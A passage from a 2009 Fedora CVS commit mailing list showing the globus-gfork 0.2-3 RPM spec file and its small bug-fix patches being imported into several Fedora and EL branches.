make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Add empty default configuration file
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
echo "# This is the default gfork configuration file" > \
  $RPM_BUILD_ROOT%{_sysconfdir}/gfork.conf

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
  | sed s!^!%{_prefix}! > package-progs.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-progs.filelist progs
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/gfork.conf
%doc README.txt

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file

* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-2
- Include additional documentation

* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gfork-0_2-3_fc11:F-12:globus-gfork-0.2-3.fc11.src.rpm:1256615541


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:14:09 -0000	1.1
+++ .cvsignore	27 Oct 2009 03:53:09 -0000	1.2
@@ -0,0 +1 @@
+globus_gfork-0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:14:09 -0000	1.1
+++ sources	27 Oct 2009 03:53:09 -0000	1.2
@@ -0,0 +1 @@
+f5230d4520092e66dc307f83d93d65bb  globus_gfork-0.2.tar.gz



From ellert at fedoraproject.org  Tue Oct 27 03:54:22 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Tue, 27 Oct 2009 03:54:22 +0000 (UTC)
Subject: rpms/globus-gfork/F-11 globus-gfork-etc.patch, NONE,
	1.1 globus-gfork-opts.patch, NONE,
	1.1 globus-gfork-undefined.patch, NONE, 1.1 globus-gfork.patch,
	NONE, 1.1 globus-gfork.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027035422.727B711C0264@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gfork/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22065/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gfork-etc.patch globus-gfork-opts.patch 
	globus-gfork-undefined.patch globus-gfork.patch 
	globus-gfork.spec import.log 
Log Message:
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file


globus-gfork-etc.patch:
 globus_gfork_server.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE globus-gfork-etc.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_server.c globus_gfork-0.2/globus_gfork_server.c
--- globus_gfork-0.2.orig/globus_gfork_server.c	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_server.c	2009-10-19 22:04:30.006108522 +0200
@@ -1551,7 +1551,8 @@
     if(gfork_l_options.conf_file == NULL)
     {
         gfork_l_options.conf_file = globus_common_create_string(
-            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION"));
+            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION") ?
+                                 globus_libc_getenv("GLOBUS_LOCATION") : "");
     }
     result = globus_options_xinetd_file_process(
         opt_h, gfork_l_options.conf_file, "gridftp");

globus-gfork-opts.patch:
 globus_gfork_opts.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gfork-opts.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_opts.c globus_gfork-0.2/globus_gfork_opts.c
--- globus_gfork-0.2.orig/globus_gfork_opts.c	2008-09-18 10:52:42.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_opts.c	2009-10-24 13:32:50.863112115 +0200
@@ -732,8 +732,8 @@
     {"master", "m", NULL, "<master program name>",
         "The name of the master program",
         1, gfork_l_opts_master},
-    {"master_args", "m", NULL, "<master program name>",
-        "The name of the master program",
+    {"master_args", "ma", NULL, "<arguments to the master>",
+        "List of arguments.  Comma seperated (or += if xinetd style)",
         1, gfork_l_opts_master_args},
     {"config_file", "c", NULL, NULL,
         "Print version information.",

globus-gfork-undefined.patch:
 Makefile.am |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE globus-gfork-undefined.patch ---
diff -ur globus_gfork-0.2.orig/Makefile.am globus_gfork-0.2/Makefile.am
--- globus_gfork-0.2.orig/Makefile.am	2006-12-07 23:24:55.000000000 +0100
+++ globus_gfork-0.2/Makefile.am	2009-09-14 15:49:55.973603339 +0200
@@ -22,8 +22,7 @@
 
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_SOURCES = $(Sources)
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LDFLAGS = $(GPT_LDFLAGS)
-libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = \
-    $(MODULE_LIBS) $(GPT_LIB_LINKS)
+libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = $(GPT_LIB_LINKS)
 
 sbin_PROGRAMS= \
     gfork

globus-gfork.patch:
 pkg_data_src.gpt.in |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE globus-gfork.patch ---
diff -ur globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in
--- globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in	2009-07-28 05:35:24.334708299 +0200
@@ -44,5 +44,3 @@
     </src_pkg>
 
 </gpt_package_metadata>
-~
-~


--- NEW FILE globus-gfork.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gfork
%global _name %(tr - _ <<< %{name})
Version:	0.2
Release:	3%{?dist}
Summary:	Globus Toolkit - GFork

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/gfork/source globus_gfork-0.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gfork-0.2
#		tar -zcf globus_gfork-0.2.tar.gz globus_gfork-0.2
Source:		%{_name}-%{version}.tar.gz
#		Remove some junk lines in the package description file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6812
Patch0:		%{name}.patch
#		Undefined make variable:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6857
Patch1:		%{name}-undefined.patch
#		Fix location of default config file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6875
Patch2:		%{name}-etc.patch
#		Fix cut & paste error in option description:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6879
Patch3:		%{name}-opts.patch

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-xio-devel%{?_isa} >= 2

%package progs
Summary:	Globus Toolkit - GFork Programs
Group:		Applications/Internet
Requires:	%{name}%{?_isa} = %{version}-%{release}

%package devel
Summary:	Globus Toolkit - GFork Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-xio-devel%{?_isa} >= 2

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GFork Library

%description progs
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-progs package contains:
GFork Programs - GFork is user configurable super-server daemon very similar
to xinetd. It listens on a TCP port. When clients connect to a port it runs an
administrator defined program which services that client connection, just as
x/inetd do.

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GFork Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Add empty default configuration file
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
echo "# This is the default gfork configuration file" > \
  $RPM_BUILD_ROOT%{_sysconfdir}/gfork.conf

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
  | sed s!^!%{_prefix}! > package-progs.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-progs.filelist progs
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/gfork.conf
%doc README.txt

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file

* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-2
- Include additional documentation

* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gfork-0_2-3_fc11:F-11:globus-gfork-0.2-3.fc11.src.rpm:1256615644


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:14:09 -0000	1.1
+++ .cvsignore	27 Oct 2009 03:54:21 -0000	1.2
@@ -0,0 +1 @@
+globus_gfork-0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:14:09 -0000	1.1
+++ sources	27 Oct 2009 03:54:22 -0000	1.2
@@ -0,0 +1 @@
+f5230d4520092e66dc307f83d93d65bb  globus_gfork-0.2.tar.gz



From ellert at fedoraproject.org  Tue Oct 27 03:55:37 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Tue, 27 Oct 2009 03:55:37 +0000 (UTC)
Subject: rpms/globus-gfork/EL-5 globus-gfork-etc.patch, NONE,
	1.1 globus-gfork-opts.patch, NONE,
	1.1 globus-gfork-undefined.patch, NONE, 1.1 globus-gfork.patch,
	NONE, 1.1 globus-gfork.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027035537.CE65311C0264@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gfork/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22473/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gfork-etc.patch globus-gfork-opts.patch 
	globus-gfork-undefined.patch globus-gfork.patch 
	globus-gfork.spec import.log 
Log Message:
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file


globus-gfork-etc.patch:
 globus_gfork_server.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE globus-gfork-etc.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_server.c globus_gfork-0.2/globus_gfork_server.c
--- globus_gfork-0.2.orig/globus_gfork_server.c	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_server.c	2009-10-19 22:04:30.006108522 +0200
@@ -1551,7 +1551,8 @@
     if(gfork_l_options.conf_file == NULL)
     {
         gfork_l_options.conf_file = globus_common_create_string(
-            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION"));
+            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION") ?
+                                 globus_libc_getenv("GLOBUS_LOCATION") : "");
     }
     result = globus_options_xinetd_file_process(
         opt_h, gfork_l_options.conf_file, "gridftp");

globus-gfork-opts.patch:
 globus_gfork_opts.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gfork-opts.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_opts.c globus_gfork-0.2/globus_gfork_opts.c
--- globus_gfork-0.2.orig/globus_gfork_opts.c	2008-09-18 10:52:42.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_opts.c	2009-10-24 13:32:50.863112115 +0200
@@ -732,8 +732,8 @@
     {"master", "m", NULL, "<master program name>",
         "The name of the master program",
         1, gfork_l_opts_master},
-    {"master_args", "m", NULL, "<master program name>",
-        "The name of the master program",
+    {"master_args", "ma", NULL, "<arguments to the master>",
+        "List of arguments.  Comma seperated (or += if xinetd style)",
         1, gfork_l_opts_master_args},
     {"config_file", "c", NULL, NULL,
         "Print version information.",

globus-gfork-undefined.patch:
 Makefile.am |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE globus-gfork-undefined.patch ---
diff -ur globus_gfork-0.2.orig/Makefile.am globus_gfork-0.2/Makefile.am
--- globus_gfork-0.2.orig/Makefile.am	2006-12-07 23:24:55.000000000 +0100
+++ globus_gfork-0.2/Makefile.am	2009-09-14 15:49:55.973603339 +0200
@@ -22,8 +22,7 @@
 
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_SOURCES = $(Sources)
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LDFLAGS = $(GPT_LDFLAGS)
-libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = \
-    $(MODULE_LIBS) $(GPT_LIB_LINKS)
+libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = $(GPT_LIB_LINKS)
 
 sbin_PROGRAMS= \
     gfork

globus-gfork.patch:
 pkg_data_src.gpt.in |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE globus-gfork.patch ---
diff -ur globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in
--- globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in	2009-07-28 05:35:24.334708299 +0200
@@ -44,5 +44,3 @@
     </src_pkg>
 
 </gpt_package_metadata>
-~
-~


--- NEW FILE globus-gfork.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gfork
%global _name %(tr - _ <<< %{name})
Version:	0.2
Release:	3%{?dist}
Summary:	Globus Toolkit - GFork

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/gfork/source globus_gfork-0.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gfork-0.2
#		tar -zcf globus_gfork-0.2.tar.gz globus_gfork-0.2
Source:		%{_name}-%{version}.tar.gz
#		Remove some junk lines in the package description file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6812
Patch0:		%{name}.patch
#		Undefined make variable:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6857
Patch1:		%{name}-undefined.patch
#		Fix location of default config file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6875
Patch2:		%{name}-etc.patch
#		Fix cut & paste error in option description:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6879
Patch3:		%{name}-opts.patch

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-xio-devel%{?_isa} >= 2

%package progs
Summary:	Globus Toolkit - GFork Programs
Group:		Applications/Internet
Requires:	%{name}%{?_isa} = %{version}-%{release}

%package devel
Summary:	Globus Toolkit - GFork Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-xio-devel%{?_isa} >= 2

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GFork Library

%description progs
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-progs package contains:
GFork Programs - GFork is user configurable super-server daemon very similar
to xinetd. It listens on a TCP port. When clients connect to a port it runs an
administrator defined program which services that client connection, just as
x/inetd do.

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GFork Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Add empty default configuration file
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
echo "# This is the default gfork configuration file" > \
  $RPM_BUILD_ROOT%{_sysconfdir}/gfork.conf

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
  | sed s!^!%{_prefix}! > package-progs.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-progs.filelist progs
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/gfork.conf
%doc README.txt

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file

* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-2
- Include additional documentation

* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gfork-0_2-3_fc11:EL-5:globus-gfork-0.2-3.fc11.src.rpm:1256615716


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:14:09 -0000	1.1
+++ .cvsignore	27 Oct 2009 03:55:37 -0000	1.2
@@ -0,0 +1 @@
+globus_gfork-0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:14:09 -0000	1.1
+++ sources	27 Oct 2009 03:55:37 -0000	1.2
@@ -0,0 +1 @@
+f5230d4520092e66dc307f83d93d65bb  globus_gfork-0.2.tar.gz



From ellert at fedoraproject.org  Tue Oct 27 03:57:08 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Tue, 27 Oct 2009 03:57:08 +0000 (UTC)
Subject: rpms/globus-gfork/EL-4 globus-gfork-etc.patch, NONE,
	1.1 globus-gfork-opts.patch, NONE,
	1.1 globus-gfork-undefined.patch, NONE, 1.1 globus-gfork.patch,
	NONE, 1.1 globus-gfork.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027035708.387B611C0264@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gfork/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23151/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gfork-etc.patch globus-gfork-opts.patch 
	globus-gfork-undefined.patch globus-gfork.patch 
	globus-gfork.spec import.log 
Log Message:
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file


globus-gfork-etc.patch:
 globus_gfork_server.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE globus-gfork-etc.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_server.c globus_gfork-0.2/globus_gfork_server.c
--- globus_gfork-0.2.orig/globus_gfork_server.c	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_server.c	2009-10-19 22:04:30.006108522 +0200
@@ -1551,7 +1551,8 @@
     if(gfork_l_options.conf_file == NULL)
     {
         gfork_l_options.conf_file = globus_common_create_string(
-            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION"));
+            "%s/etc/gfork.conf", globus_libc_getenv("GLOBUS_LOCATION") ?
+                                 globus_libc_getenv("GLOBUS_LOCATION") : "");
     }
     result = globus_options_xinetd_file_process(
         opt_h, gfork_l_options.conf_file, "gridftp");

globus-gfork-opts.patch:
 globus_gfork_opts.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE globus-gfork-opts.patch ---
diff -ur globus_gfork-0.2.orig/globus_gfork_opts.c globus_gfork-0.2/globus_gfork_opts.c
--- globus_gfork-0.2.orig/globus_gfork_opts.c	2008-09-18 10:52:42.000000000 +0200
+++ globus_gfork-0.2/globus_gfork_opts.c	2009-10-24 13:32:50.863112115 +0200
@@ -732,8 +732,8 @@
     {"master", "m", NULL, "<master program name>",
         "The name of the master program",
         1, gfork_l_opts_master},
-    {"master_args", "m", NULL, "<master program name>",
-        "The name of the master program",
+    {"master_args", "ma", NULL, "<arguments to the master>",
+        "List of arguments.  Comma seperated (or += if xinetd style)",
         1, gfork_l_opts_master_args},
     {"config_file", "c", NULL, NULL,
         "Print version information.",

globus-gfork-undefined.patch:
 Makefile.am |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE globus-gfork-undefined.patch ---
diff -ur globus_gfork-0.2.orig/Makefile.am globus_gfork-0.2/Makefile.am
--- globus_gfork-0.2.orig/Makefile.am	2006-12-07 23:24:55.000000000 +0100
+++ globus_gfork-0.2/Makefile.am	2009-09-14 15:49:55.973603339 +0200
@@ -22,8 +22,7 @@
 
